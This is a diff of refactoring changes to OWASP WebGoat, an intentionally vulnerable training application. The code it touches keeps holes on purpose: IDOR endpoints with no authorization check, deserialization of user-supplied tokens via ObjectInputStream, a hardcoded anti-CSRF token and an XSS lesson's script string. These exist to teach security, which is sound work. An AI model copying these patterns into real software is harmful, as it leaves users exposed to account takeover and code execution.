if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
|
||||
userSessionData.setValue("account-verified-id", userId);
|
||||
return trackProgress(success()
|
||||
.feedback("verify-account.success")
|
||||
|
@ -47,12 +47,6 @@ public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
|
||||
if (shortInput.length() <= 5) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
/*if (disabled == null) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (submit.toString().equals("submit")) {
|
||||
return trackProgress(failed().build());
|
||||
}*/
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
}
|
||||
|
@ -36,13 +36,13 @@ public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
|
||||
@PostMapping("/BypassRestrictions/frontendValidation")
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) {
|
||||
String regex1 = "^[a-z]{3}$";
|
||||
String regex2 = "^[0-9]{3}$";
|
||||
String regex3 = "^[a-zA-Z0-9 ]*$";
|
||||
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
|
||||
String regex5 = "^\\d{5}$";
|
||||
String regex6 = "^\\d{5}(-\\d{4})?$";
|
||||
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
|
||||
final String regex1 = "^[a-z]{3}$";
|
||||
final String regex2 = "^[0-9]{3}$";
|
||||
final String regex3 = "^[a-zA-Z0-9 ]*$";
|
||||
final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
|
||||
final String regex5 = "^\\d{5}$";
|
||||
final String regex6 = "^\\d{5}(-\\d{4})?$";
|
||||
final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
|
||||
if (error > 0) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
|
@ -22,7 +22,6 @@
|
||||
|
||||
package org.owasp.webgoat.challenges;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
@ -40,6 +39,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.PostConstruct;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
import java.util.stream.IntStream;
|
||||
@ -52,7 +52,7 @@ import java.util.stream.IntStream;
|
||||
@RestController
|
||||
public class Flag {
|
||||
|
||||
public static final Map<Integer, String> FLAGS = Maps.newHashMap();
|
||||
public static final Map<Integer, String> FLAGS = new HashMap<>();
|
||||
@Autowired
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
@Autowired
|
||||
@ -71,7 +71,7 @@ public class Flag {
|
||||
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||
}
|
||||
|
||||
@RequestMapping(path="/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@RequestMapping(path = "/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult postFlag(@RequestParam String flag) {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
|
@ -31,14 +31,14 @@ import static org.owasp.webgoat.challenges.Flag.FLAGS;
|
||||
@Slf4j
|
||||
public class Assignment7 extends AssignmentEndpoint {
|
||||
|
||||
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
||||
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
|
||||
"\n \n\n" +
|
||||
"If you did not request this password change you can ignore this message." +
|
||||
"\n" +
|
||||
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
||||
"\n\n" +
|
||||
"Kind regards, \nTeam WebGoat";
|
||||
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
|
||||
+ "<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password."
|
||||
+ "\n \n\n"
|
||||
+ "If you did not request this password change you can ignore this message."
|
||||
+ "\n"
|
||||
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
|
||||
+ "\n\n"
|
||||
+ "Kind regards, \nTeam WebGoat";
|
||||
|
||||
@Autowired
|
||||
private RestTemplate restTemplate;
|
||||
@ -48,9 +48,9 @@ public class Assignment7 extends AssignmentEndpoint {
|
||||
@GetMapping("/challenge/7/reset-password/{link}")
|
||||
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
||||
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
|
||||
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
|
||||
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
|
||||
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
|
||||
return ResponseEntity.accepted().body("<h1>Success!!</h1>"
|
||||
+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"
|
||||
+ "<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
|
||||
}
|
||||
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
|
||||
}
|
||||
@ -76,7 +76,6 @@ public class Assignment7 extends AssignmentEndpoint {
|
||||
|
||||
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
||||
@ResponseBody
|
||||
@SneakyThrows
|
||||
public ClassPathResource git() {
|
||||
return new ClassPathResource("challenge7/git.zip");
|
||||
}
|
||||
|
@ -20,7 +20,7 @@ public class PasswordResetLink {
|
||||
}
|
||||
|
||||
public static String scramble(Random random, String inputString) {
|
||||
char a[] = inputString.toCharArray();
|
||||
char[] a = inputString.toCharArray();
|
||||
for (int i = 0; i < a.length; i++) {
|
||||
int j = random.nextInt(a.length);
|
||||
char temp = a[i];
|
||||
|
@ -1,6 +1,5 @@
|
||||
package org.owasp.webgoat.challenges.challenge8;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.challenges.Flag;
|
||||
@ -24,7 +23,7 @@ import java.util.stream.Collectors;
|
||||
@Slf4j
|
||||
public class Assignment8 extends AssignmentEndpoint {
|
||||
|
||||
private static final Map<Integer, Integer> votes = Maps.newHashMap();
|
||||
private static final Map<Integer, Integer> votes = new HashMap<>();
|
||||
|
||||
static {
|
||||
votes.put(1, 400);
|
||||
@ -40,9 +39,7 @@ public class Assignment8 extends AssignmentEndpoint {
|
||||
//Simple implementation of VERB Based Authentication
|
||||
String msg = "";
|
||||
if (request.getMethod().equals("GET")) {
|
||||
HashMap<String, Object> json = Maps.newHashMap();
|
||||
json.put("error", true);
|
||||
json.put("message", "Sorry but you need to login first in order to vote");
|
||||
var json = Map.of("error", true, "message", "Sorry but you need to login first in order to vote");
|
||||
return ResponseEntity.status(200).body(json);
|
||||
}
|
||||
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
||||
@ -59,8 +56,7 @@ public class Assignment8 extends AssignmentEndpoint {
|
||||
public ResponseEntity<Map<String, Integer>> average() {
|
||||
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
|
||||
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
|
||||
Map json = Maps.newHashMap();
|
||||
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
|
||||
var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
|
||||
return ResponseEntity.ok(json);
|
||||
}
|
||||
}
|
||||
|
@ -37,8 +37,8 @@ public class ClientSideFilteringAssignment extends AssignmentEndpoint {
|
||||
@PostMapping("/clientSideFiltering/attack1")
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String answer) {
|
||||
return trackProgress("450000".equals(answer) ?
|
||||
success().feedback("assignment.solved").build() :
|
||||
return trackProgress("450000".equals(answer)
|
||||
? success().feedback("assignment.solved").build() :
|
||||
failed().feedback("ClientSideFiltering.incorrect").build());
|
||||
}
|
||||
}
|
||||
|
@ -22,12 +22,6 @@
|
||||
|
||||
package org.owasp.webgoat.client_side_filtering;
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.SneakyThrows;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
@ -48,6 +42,8 @@ import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@ -57,14 +53,17 @@ public class Salaries { // {extends Endpoint {
|
||||
private String webGoatHomeDirectory;
|
||||
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
public void copyFiles() {
|
||||
ClassPathResource classPathResource = new ClassPathResource("employees.xml");
|
||||
File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering");
|
||||
if (!targetDirectory.exists()) {
|
||||
targetDirectory.mkdir();
|
||||
}
|
||||
try {
|
||||
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(produces = {"application/json"})
|
||||
@ -73,7 +72,7 @@ public class Salaries { // {extends Endpoint {
|
||||
NodeList nodes = null;
|
||||
File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml");
|
||||
XPathFactory factory = XPathFactory.newInstance();
|
||||
XPath xPath = factory.newXPath();
|
||||
XPath path = factory.newXPath();
|
||||
InputSource inputSource = new InputSource(new FileInputStream(d));
|
||||
|
||||
StringBuffer sb = new StringBuffer();
|
||||
@ -87,16 +86,16 @@ public class Salaries { // {extends Endpoint {
|
||||
String expression = sb.toString();
|
||||
|
||||
try {
|
||||
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
|
||||
nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET);
|
||||
} catch (XPathExpressionException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
int COLUMNS = 5;
|
||||
List json = Lists.newArrayList();
|
||||
java.util.Map<String, Object> employeeJson = Maps.newHashMap();
|
||||
int columns = 5;
|
||||
List json = new ArrayList();
|
||||
java.util.Map<String, Object> employeeJson = new HashMap<>();
|
||||
for (int i = 0; i < nodes.getLength(); i++) {
|
||||
if (i % COLUMNS == 0) {
|
||||
employeeJson = Maps.newHashMap();
|
||||
if (i % columns == 0) {
|
||||
employeeJson = new HashMap<>();
|
||||
json.add(employeeJson);
|
||||
}
|
||||
Node node = nodes.item(i);
|
||||
@ -104,11 +103,4 @@ public class Salaries { // {extends Endpoint {
|
||||
}
|
||||
return json;
|
||||
}
|
||||
|
||||
// @Override
|
||||
// public String getPath() {
|
||||
// return "/clientSideFiltering/salaries";
|
||||
// }
|
||||
|
||||
|
||||
}
|
||||
|
@ -22,13 +22,14 @@
|
||||
|
||||
package org.owasp.webgoat.xss;
|
||||
|
||||
|
||||
import org.jsoup.Jsoup;
|
||||
import org.jsoup.nodes.Document;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
//@RestController
|
||||
@Deprecated
|
||||
@ -48,8 +49,8 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
|
||||
String[] lines = unescapedString.split("<html>");
|
||||
|
||||
String include = (lines[0]);
|
||||
String first_name_element = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
|
||||
String last_name_element = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
|
||||
String fistNameElement = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
|
||||
String lastNameElement = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
|
||||
|
||||
Boolean includeCorrect = false;
|
||||
Boolean firstNameCorrect = false;
|
||||
@ -58,10 +59,10 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
|
||||
if (include.contains("<%@") && include.contains("taglib") && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") && include.contains("%>")) {
|
||||
includeCorrect = true;
|
||||
}
|
||||
if (first_name_element.equals("${e:forHtml(param.first_name)}")) {
|
||||
if (fistNameElement.equals("${e:forHtml(param.first_name)}")) {
|
||||
firstNameCorrect = true;
|
||||
}
|
||||
if (last_name_element.equals("${e:forHtml(param.last_name)}")) {
|
||||
if (lastNameElement.equals("${e:forHtml(param.last_name)}")) {
|
||||
lastNameCorrect = true;
|
||||
}
|
||||
|
||||
|
@ -25,7 +25,10 @@ package org.owasp.webgoat.xss.stored;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* Created by jason on 11/23/16.
|
||||
|
@ -24,8 +24,6 @@ package org.owasp.webgoat.xss.stored;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.google.common.collect.EvictingQueue;
|
||||
import com.google.common.collect.Maps;
|
||||
import org.joda.time.DateTime;
|
||||
import org.joda.time.format.DateTimeFormat;
|
||||
import org.joda.time.format.DateTimeFormatter;
|
||||
@ -50,8 +48,8 @@ public class StoredXssComments extends AssignmentEndpoint {
|
||||
private WebSession webSession;
|
||||
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
||||
|
||||
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
|
||||
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
|
||||
private static final Map<String, List<Comment>> userComments = new HashMap<>();
|
||||
private static final List<Comment> comments = new ArrayList<>();
|
||||
private static final String phoneHomeString = "<script>webgoat.customjs.phoneHome()</script>";
|
||||
|
||||
|
||||
@ -82,7 +80,7 @@ public class StoredXssComments extends AssignmentEndpoint {
|
||||
public AttackResult createNewComment(@RequestBody String commentStr) {
|
||||
Comment comment = parseJson(commentStr);
|
||||
|
||||
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
||||
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
|
||||
comment.setDateTime(DateTime.now().toString(fmt));
|
||||
comment.setUser(webSession.getUserName());
|
||||
|
||||
|
@ -49,21 +49,17 @@ public class CSRFGetFlag {
|
||||
@Autowired
|
||||
private PluginMessages pluginMessages;
|
||||
|
||||
@RequestMapping(path="/csrf/basic-get-flag" ,produces = {"application/json"}, method = RequestMethod.POST)
|
||||
@RequestMapping(path = "/csrf/basic-get-flag", produces = {"application/json"}, method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
|
||||
Map<String, Object> response = new HashMap<>();
|
||||
|
||||
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
||||
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
|
||||
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
|
||||
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
||||
String[] refererArr = referer.split("/");
|
||||
|
||||
|
||||
|
||||
if (referer.equals("NULL")) {
|
||||
if (req.getParameter("csrf").equals("true")) {
|
||||
Random random = new Random();
|
||||
@ -93,9 +89,4 @@ public class CSRFGetFlag {
|
||||
return response;
|
||||
|
||||
}
|
||||
//
|
||||
// @Override
|
||||
// public String getPath() {
|
||||
// return "/csrf/basic-get-flag";
|
||||
// }
|
||||
}
|
||||
|
@ -23,8 +23,6 @@
|
||||
package org.owasp.webgoat.csrf;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.google.common.collect.EvictingQueue;
|
||||
import com.google.common.collect.Maps;
|
||||
import org.joda.time.DateTime;
|
||||
import org.joda.time.format.DateTimeFormat;
|
||||
import org.joda.time.format.DateTimeFormatter;
|
||||
@ -37,8 +35,7 @@ import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.util.Collection;
|
||||
import java.util.Map;
|
||||
import java.util.*;
|
||||
|
||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||
|
||||
@ -50,8 +47,8 @@ public class ForgedReviews extends AssignmentEndpoint {
|
||||
private WebSession webSession;
|
||||
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
||||
|
||||
private static final Map<String, EvictingQueue<Review>> userReviews = Maps.newHashMap();
|
||||
private static final EvictingQueue<Review> REVIEWS = EvictingQueue.create(100);
|
||||
private static final Map<String, List<Review>> userReviews = new HashMap<>();
|
||||
private static final List<Review> REVIEWS = new ArrayList<>();
|
||||
private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9";
|
||||
|
||||
|
||||
@ -79,22 +76,16 @@ public class ForgedReviews extends AssignmentEndpoint {
|
||||
@PostMapping("/csrf/review")
|
||||
@ResponseBody
|
||||
public AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {
|
||||
final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
|
||||
final String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
|
||||
final String[] refererArr = referer.split("/");
|
||||
|
||||
String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
|
||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
||||
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
|
||||
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
|
||||
String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
|
||||
String[] refererArr = referer.split("/");
|
||||
|
||||
EvictingQueue<Review> reviews = userReviews.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
||||
Review review = new Review();
|
||||
|
||||
review.setText(reviewText);
|
||||
review.setDateTime(DateTime.now().toString(fmt));
|
||||
review.setUser(webSession.getUserName());
|
||||
review.setStars(stars);
|
||||
|
||||
var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>());
|
||||
reviews.add(review);
|
||||
userReviews.put(webSession.getUserName(), reviews);
|
||||
//short-circuit
|
||||
|
@ -32,19 +32,19 @@ import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
|
||||
@RestController
|
||||
@AssignmentHints({"idor.hints.idorDiffAttributes1","idor.hints.idorDiffAttributes2","idor.hints.idorDiffAttributes3"})
|
||||
@AssignmentHints({"idor.hints.idorDiffAttributes1", "idor.hints.idorDiffAttributes2", "idor.hints.idorDiffAttributes3"})
|
||||
public class IDORDiffAttributes extends AssignmentEndpoint {
|
||||
|
||||
@PostMapping("IDOR/diff-attributes")
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String attributes, HttpServletRequest request) throws IOException {
|
||||
public AttackResult completed(@RequestParam String attributes) {
|
||||
attributes = attributes.trim();
|
||||
String[] diffAttribs = attributes.split(",");
|
||||
if (diffAttribs.length < 2) {
|
||||
return trackProgress(failed().feedback("idor.diff.attributes.missing").build());
|
||||
}
|
||||
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role") ||
|
||||
diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
|
||||
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role")
|
||||
|| diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
|
||||
return trackProgress(success().feedback("idor.diff.success").build());
|
||||
} else {
|
||||
return trackProgress(failed().feedback("idor.diff.failure").build());
|
||||
|
@ -30,7 +30,7 @@ import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
@RestController
|
||||
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
|
||||
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
|
||||
public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
||||
|
||||
@Autowired
|
||||
@ -40,7 +40,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
||||
@ResponseBody
|
||||
public AttackResult completed(@PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) {
|
||||
|
||||
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
|
||||
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
|
||||
// this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization
|
||||
// Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?
|
||||
// Except that this is a vulnerable app ... so we will
|
||||
@ -50,7 +50,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
||||
currentUserProfile.setColor(userSubmittedProfile.getColor());
|
||||
currentUserProfile.setRole(userSubmittedProfile.getRole());
|
||||
// we will persist in the session object for now in case we want to refer back or use it later
|
||||
userSessionData.setValue("idor-updated-other-profile",currentUserProfile);
|
||||
userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
|
||||
if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
|
||||
return trackProgress(success()
|
||||
.feedback("idor.edit.profile.success1")
|
||||
@ -73,15 +73,15 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
||||
}
|
||||
|
||||
// else
|
||||
return trackProgress(failed().
|
||||
feedback("idor.edit.profile.failure3")
|
||||
return trackProgress(failed()
|
||||
.feedback("idor.edit.profile.failure3")
|
||||
.output(currentUserProfile.profileToMap().toString())
|
||||
.build());
|
||||
} else if (userSubmittedProfile.getUserId().equals(authUserId)) {
|
||||
return failed().feedback("idor.edit.profile.failure4").build();
|
||||
}
|
||||
|
||||
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1 ) {
|
||||
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) {
|
||||
return trackProgress(success()
|
||||
.feedback("idor.edit.profile.success2")
|
||||
.output(userSessionData.getValue("idor-updated-own-profile").toString())
|
||||
|
@ -22,21 +22,23 @@
|
||||
|
||||
package org.owasp.webgoat.idor;
|
||||
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@RestController
|
||||
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
|
||||
public class IDORViewOtherProfile extends AssignmentEndpoint{
|
||||
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
|
||||
public class IDORViewOtherProfile extends AssignmentEndpoint {
|
||||
|
||||
@Autowired
|
||||
UserSessionData userSessionData;
|
||||
@ -44,16 +46,16 @@ public class IDORViewOtherProfile extends AssignmentEndpoint{
|
||||
@GetMapping(path = "IDOR/profile/{userId}", produces = {"application/json"})
|
||||
@ResponseBody
|
||||
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
|
||||
Map<String,Object> details = new HashMap<>();
|
||||
Map<String, Object> details = new HashMap<>();
|
||||
|
||||
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
|
||||
//going to use session auth to view this one
|
||||
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
|
||||
if(userId != null && !userId.equals(authUserId)) {
|
||||
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
|
||||
if (userId != null && !userId.equals(authUserId)) {
|
||||
//on the right track
|
||||
UserProfile requestedProfile = new UserProfile(userId);
|
||||
// secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
|
||||
if (requestedProfile.getUserId().equals("2342388")){
|
||||
if (requestedProfile.getUserId().equals("2342388")) {
|
||||
return trackProgress(success().feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().feedback("idor.view.profile.close1").build());
|
||||
|
@ -38,14 +38,15 @@ import java.io.ObjectInputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
@RestController
|
||||
@AssignmentHints({"insecure-deserialization.hints.1","insecure-deserialization.hints.2","insecure-deserialization.hints.3"})
|
||||
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
|
||||
public class InsecureDeserializationTask extends AssignmentEndpoint {
|
||||
|
||||
@PostMapping("/InsecureDeserialization/task")
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String token) throws IOException {
|
||||
String b64token;
|
||||
long before, after;
|
||||
long before;
|
||||
long after;
|
||||
int delay;
|
||||
|
||||
b64token = token.replace('-', '+').replace('_', '/');
|
||||
|
@ -11,23 +11,23 @@ import java.util.Base64;
|
||||
|
||||
public class SerializationHelper {
|
||||
|
||||
private final static char[] hexArray = "0123456789ABCDEF".toCharArray();
|
||||
private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
|
||||
|
||||
public static Object fromString( String s ) throws IOException ,
|
||||
public static Object fromString(String s) throws IOException,
|
||||
ClassNotFoundException {
|
||||
byte [] data = Base64.getDecoder().decode( s );
|
||||
byte[] data = Base64.getDecoder().decode(s);
|
||||
ObjectInputStream ois = new ObjectInputStream(
|
||||
new ByteArrayInputStream( data ) );
|
||||
new ByteArrayInputStream(data));
|
||||
Object o = ois.readObject();
|
||||
ois.close();
|
||||
return o;
|
||||
}
|
||||
|
||||
public static String toString( Serializable o ) throws IOException {
|
||||
public static String toString(Serializable o) throws IOException {
|
||||
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream( baos );
|
||||
oos.writeObject( o );
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(o);
|
||||
oos.close();
|
||||
return Base64.getEncoder().encodeToString(baos.toByteArray());
|
||||
}
|
||||
@ -43,7 +43,7 @@ public class SerializationHelper {
|
||||
|
||||
public static String bytesToHex(byte[] bytes) {
|
||||
char[] hexChars = new char[bytes.length * 2];
|
||||
for ( int j = 0; j < bytes.length; j++ ) {
|
||||
for (int j = 0; j < bytes.length; j++) {
|
||||
int v = bytes[j] & 0xFF;
|
||||
hexChars[j * 2] = hexArray[v >>> 4];
|
||||
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
|
||||
|
@ -22,24 +22,17 @@
|
||||
|
||||
package org.owasp.webgoat.jwt;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import io.jsonwebtoken.*;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
